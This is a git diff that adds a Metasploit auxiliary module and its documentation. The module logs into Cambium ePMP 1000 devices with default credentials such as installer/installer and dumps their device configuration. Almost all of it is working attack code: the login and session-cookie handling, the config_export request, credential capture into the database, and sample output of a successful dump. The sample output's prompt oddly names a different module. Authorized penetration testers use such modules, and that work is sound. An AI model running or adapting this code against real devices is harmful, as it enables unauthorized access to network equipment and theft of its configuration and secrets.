diff --git a/documentation/modules/auxiliary/scanner/http/epmp1000_dump_config.md b/documentation/modules/auxiliary/scanner/http/epmp1000_dump_config.md new file mode 100644 index 0000000000..7fe2d34c73 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/epmp1000_dump_config.md @@ -0,0 +1,30 @@ +This module dumps Cambium ePMP 1000 device configuration file. An ePMP 1000 box has four (4) login accounts - admin/admin, installer/installer, home/home, and readonly/readonly. This module requires any one of the following login credentials - admin / installer / home - to dump device configuration file. + +## Verification Steps + +1. Do: ```use auxiliary/scanner/http/epmp1000_dump_config``` +2. Do: ```set RHOSTS [IP]``` +3. Do: ```set RPORT [PORT]``` +4. Do: ```run``` + +## Sample Output + + ``` +msf > use auxiliary/scanner/http/epmp1000_dump_config +msf auxiliary(binom3_login_config_pass_dump) > set rhosts 1.3.3.7 +msf auxiliary(binom3_login_config_pass_dump) > set rport 80 +msf auxiliary(binom3_login_config_pass_dump) > run + +[+] 1.3.3.7:80 - Running Cambium ePMP 1000 version 3.2... +[*] 1.3.3.7:80 - Attempting to login... +[+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "installer":"installer" +[+] ++++++++++++++++++++++++++++++++++++++ +[+] 1.3.3.7 - dumping configuration +[+] ++++++++++++++++++++++++++++++++++++++ +[+] 1.3.3.7:80 - File retrieved successfully! +[*] 1.3.3.7:80 - File saved in: /root/.msf4/loot/20000000000003_moduletest_1.3.3.7_ePMP_config_216595.txt +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed + + + ``` diff --git a/modules/auxiliary/scanner/http/epmp1000_dump_config.rb b/modules/auxiliary/scanner/http/epmp1000_dump_config.rb new file mode 100755 index 0000000000..4b1b4b71e6 --- /dev/null +++ b/modules/auxiliary/scanner/http/epmp1000_dump_config.rb @@ -0,0 +1,205 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Cambium ePMP 1000 Dump Device Config', + 'Description' => %{ + This module dumps Cambium ePMP 1000 device configuration file. An ePMP 1000 box has four (4) login accounts - admin/admin, installer/installer, home/home, and readonly/readonly. This module requires any one of the following login credentials - admin / installer / home - to dump device configuration file. + }, + 'References' => + [ + ['URL', 'http://ipositivesecurity.blogspot.in/2015/11/cambium-epmp-1000-multiple.html'] + ], + 'Author' => + [ + 'Karn Ganeshen ' + ], + 'License' => MSF_LICENSE, + 'DefaultOptions' => { 'VERBOSE' => true }) + ) + + register_options( + [ + Opt::RPORT(80), # Application may run on a different port too. Change port accordingly. + OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']), + OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer']) + ], self.class + ) + end + + def run_host(ip) + unless is_app_epmp1000? + return + end + + each_user_pass do |user, pass| + do_login(user, pass) + end + end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + # + # Check if App is Cambium ePMP 1000 + # + + def is_app_epmp1000? + begin + res = send_request_cgi( + { + 'uri' => '/', + 'method' => 'GET' + } + ) + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError + print_error("#{rhost}:#{rport} - HTTP Connection Failed...") + return false + end + + if (res && res.code == 200 && res.headers['Server'] && (res.headers['Server'].include?('Cambium HTTP Server') || res.body.include?('cambiumnetworks.com'))) + + get_epmp_ver = res.body.match(/"sw_version">([^<]*)/) + epmp_ver = get_epmp_ver[1] + print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...") + return true + else + print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. Module will not continue.") + return false + end + end + + # + # Login and dump config file + # + + def do_login(user, pass) + print_status("#{rhost}:#{rport} - Attempting to login...") + begin + res = send_request_cgi( + { + 'uri' => '/cgi-bin/luci', + 'method' => 'POST', + 'headers' => { 'X-Requested-With' => 'XMLHttpRequest', 'Accept' => 'application/json, text/javascript, */*; q=0.01' }, + 'vars_post' => + { + 'username' => 'dashboard', + 'password' => '' + } + } + ) + + if (res && res.code == 200 && res.headers.include?('Set-Cookie') && res.headers['Set-Cookie'].include?('sysauth')) + sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/) + + cookie1 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D" + + res = send_request_cgi( + { + 'uri' => '/cgi-bin/luci', + 'method' => 'POST', + 'cookie' => cookie1, + 'headers' => { 'X-Requested-With' => 'XMLHttpRequest', 'Accept' => 'application/json, text/javascript, */*; q=0.01', 'Connection' => 'close' }, + 'vars_post' => + { + 'username' => user, + 'password' => pass + } + } + ) + + end + + if (res && res.code == 200 && res.headers.include?('Set-Cookie') && res.headers['Set-Cookie'].include?('stok=')) + print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}") + + report_cred( + ip: rhost, + port: rport, + service_name: 'Cambium ePMP 1000', + user: user, + password: pass + ) + + get_stok = res.headers['Set-Cookie'].match(/stok=(.*)/) + stok_value = get_stok[1] + sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/) + + cookie2 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + "#{stok_value}" + + config_uri = '/cgi-bin/luci/;stok=' + "#{stok_value}" + '/admin/config_export?opts=json' + + res = send_request_cgi({ 'method' => 'GET', 'uri' => config_uri, 'cookie' => cookie2, 'headers' => { 'Accept' => '*/*', 'Accept-Language' => 'en-US,en;q=0.5', 'Accept-Encoding' => 'gzip, deflate', 'X-Requested-With' => 'XMLHttpRequest', 'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8', 'Connection' => 'close' } }, 25) + + if res && res.code == 200 && res.body =~ /device_props/ + print_good('++++++++++++++++++++++++++++++++++++++') + print_good("#{rhost} - dumping configuration") + print_good('++++++++++++++++++++++++++++++++++++++') + print_good("#{rhost}:#{rport} - File retrieved successfully!") + + path = store_loot('ePMP_config', 'text/plain', rhost, res.body, rport, 'Cambium ePMP 1000 device config') + print_status("#{rhost}:#{rport} - File saved in: #{path}") + + # Extract ePMP version + res = send_request_cgi( + { + 'uri' => '/', + 'method' => 'GET' + } + ) + + epmp_ver = res.body.match(/"sw_version">([^<]*)/)[1] + + report_cred( + ip: rhost, + port: rport, + service_name: "Cambium ePMP 1000 v#{epmp_ver}", + user: user, + password: pass + ) + else + print_error("#{rhost}:#{rport} - Failed to retrieve configuration") + return + end + else + print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}") + end + end + end +end